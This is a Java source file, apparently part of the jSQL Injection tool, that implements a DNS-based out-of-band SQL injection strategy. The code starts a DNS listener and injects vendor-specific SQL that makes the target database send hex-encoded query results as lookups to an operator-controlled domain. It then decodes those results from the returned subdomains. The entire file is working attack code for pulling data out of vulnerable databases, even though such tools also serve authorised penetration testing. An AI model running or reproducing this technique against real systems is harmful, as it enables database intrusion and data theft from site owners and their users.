1
2
3
4
5
6
7
8
9
10
11 package com.jsql.model.injection.strategy;
12
13 import com.jsql.model.InjectionModel;
14 import com.jsql.model.accessible.ResourceAccess;
15 import com.jsql.model.bean.util.Interaction;
16 import com.jsql.model.bean.util.Request;
17 import com.jsql.model.injection.strategy.blind.AbstractInjectionBit.BlindOperator;
18 import com.jsql.model.injection.vendor.model.VendorYaml;
19 import com.jsql.model.suspendable.AbstractSuspendable;
20 import com.jsql.util.I18nUtil;
21 import com.jsql.util.LogLevelUtil;
22 import com.jsql.util.StringUtil;
23 import org.apache.commons.lang3.StringUtils;
24 import org.apache.logging.log4j.LogManager;
25 import org.apache.logging.log4j.Logger;
26
27 import java.util.regex.Pattern;
28
29 public class StrategyDns extends AbstractStrategy {
30
31 private static final Logger LOGGER = LogManager.getRootLogger();
32 private BlindOperator blindOperator;
33 private final DnsServer dnsServer;
34
35 public StrategyDns(InjectionModel injectionModel) {
36 super(injectionModel);
37 this.dnsServer = new DnsServer(injectionModel);
38 }
39
40 @Override
41 public void checkApplicability() {
42 if (this.injectionModel.getMediatorUtils().getPreferencesUtil().isStrategyDnsDisabled()) {
43 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, AbstractStrategy.FORMAT_SKIP_STRATEGY_DISABLED, this.getName());
44 return;
45 } else if (
46 StringUtils.isBlank(this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain())
47 || !StringUtils.isNumeric(this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsPort())
48 ) {
49 LOGGER.log(
50 LogLevelUtil.CONSOLE_INFORM,
51 "Incorrect domain '{}' or port '{}', skipping Dns strategy",
52 this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain(),
53 this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsPort()
54 );
55 return;
56 } else if (
57 StringUtils.isEmpty(this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getStrategy().getDns())
58 ) {
59 LOGGER.log(
60 LogLevelUtil.CONSOLE_INFORM,
61 AbstractStrategy.FORMAT_STRATEGY_NOT_IMPLEMENTED,
62 this.getName(),
63 this.injectionModel.getMediatorVendor().getVendor()
64 );
65 return;
66 }
67
68 this.checkInjection(BlindOperator.OR);
69 this.checkInjection(BlindOperator.AND);
70 this.checkInjection(BlindOperator.STACK);
71 this.checkInjection(BlindOperator.NO_MODE);
72
73 if (this.isApplicable) {
74 this.allow();
75 } else {
76 this.unallow();
77 }
78 }
79
80 private void checkInjection(BlindOperator blindOperator) {
81 if (this.isApplicable) {
82 return;
83 }
84 this.blindOperator = blindOperator;
85 LOGGER.log(
86 LogLevelUtil.CONSOLE_DEFAULT,
87 "{} [{}] with [{}]...",
88 () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_CHECKING_STRATEGY),
89 this::getName,
90 () -> blindOperator
91 );
92 String vendorSpecificWithOperator = this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
93 String.format(
94 "(select concat('', %s))",
95 this.injectionModel.getMediatorVendor().getVendor().instance().getModelYaml().getStrategy().getConfiguration().getFailsafe().replace(VendorYaml.INDICE, "1")
96 ),
97 "1",
98 blindOperator,
99 false
100 );
101
102 new Thread(this.dnsServer::listen).start();
103 this.injectionModel.injectWithoutIndex(vendorSpecificWithOperator, "dns#confirm");
104 this.waitDnsResponse(2500);
105
106 var domainName = this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain();
107 this.isApplicable = this.dnsServer.getResults().stream().anyMatch(
108 s -> s.contains(domainName) && s.contains(StringUtil.toHex(ResourceAccess.WEB_CONFIRM_RESULT))
109 );
110 if (this.isApplicable) {
111 this.dnsServer.getResults().clear();
112 LOGGER.log(
113 LogLevelUtil.CONSOLE_SUCCESS,
114 "{} [{}] with [{}]",
115 () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_VULNERABLE),
116 this::getName,
117 this.blindOperator::name
118 );
119 } else {
120 this.dnsServer.close();
121 }
122 }
123
124 @Override
125 public void allow(int... i) {
126 this.injectionModel.appendAnalysisReport(
127 StringUtil.formatReport(LogLevelUtil.COLOR_BLU, "### Strategy: " + this.getName())
128 + this.injectionModel.getReportWithoutIndex(
129 this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
130 StringUtil.formatReport(LogLevelUtil.COLOR_GREEN, "<query>"),
131 "1",
132 this.blindOperator,
133 true
134 ),
135 "metadataInjectionProcess",
136 null
137 )
138 );
139 this.markVulnerability(Interaction.MARK_DNS_VULNERABLE);
140 }
141
142 @Override
143 public void unallow(int... i) {
144 this.markVulnerability(Interaction.MARK_DNS_INVULNERABLE);
145 }
146
147 @Override
148 public String inject(String sqlQuery, String startPosition, AbstractSuspendable stoppable, String metadataInjectionProcess) {
149 new Thread(() -> this.injectionModel.injectWithoutIndex(
150 this.injectionModel.getMediatorVendor().getVendor().instance().sqlDns(
151 sqlQuery,
152 startPosition,
153 this.blindOperator,
154 false
155 ),
156 metadataInjectionProcess
157 )).start();
158 this.waitDnsResponse(5000);
159
160 String result = this.dnsServer.getResults().get(0);
161 var domainName = this.injectionModel.getMediatorUtils().getPreferencesUtil().getDnsDomain();
162 String regexToMatchTamperTags = String.format("(?i).{3}\\.([a-z0-9]*)\\..{3}\\.%s\\.", domainName);
163 var matcherSql = Pattern.compile(regexToMatchTamperTags).matcher(result);
164 if (matcherSql.find()) {
165 result = matcherSql.group(1);
166 } else {
167 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect DNS response: {}", result);
168 }
169 this.dnsServer.getResults().clear();
170 return StringUtil.fromHex(result);
171 }
172
173 private void waitDnsResponse(int maxTime) {
174 int currentTime = 0;
175 while (this.dnsServer.getResults().isEmpty() && currentTime <= maxTime) {
176 try {
177 int waitTime = 250;
178 Thread.sleep(waitTime);
179 currentTime += waitTime;
180 } catch (InterruptedException e) {
181 LOGGER.log(LogLevelUtil.IGNORE, e, e);
182 Thread.currentThread().interrupt();
183 }
184 }
185 if (currentTime > maxTime) {
186 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Missing DNS response after {} ms", maxTime);
187 }
188 }
189
190 @Override
191 public void activateWhenApplicable() {
192 if (this.injectionModel.getMediatorStrategy().getStrategy() == null && this.isApplicable()) {
193 LOGGER.log(
194 LogLevelUtil.CONSOLE_INFORM,
195 "{} [{}] with [{}]",
196 () -> I18nUtil.valueByKey("LOG_USING_STRATEGY"),
197 this::getName,
198 this.blindOperator::name
199 );
200 this.injectionModel.getMediatorStrategy().setStrategy(this);
201
202 var request = new Request();
203 request.setMessage(Interaction.MARK_DNS_STRATEGY);
204 this.injectionModel.sendToViews(request);
205 }
206 }
207
208 @Override
209 public String getPerformanceLength() {
210 return VendorYaml.DEFAULT_CAPACITY;
211 }
212
213 @Override
214 public String getName() {
215 return "Dns";
216 }
217 }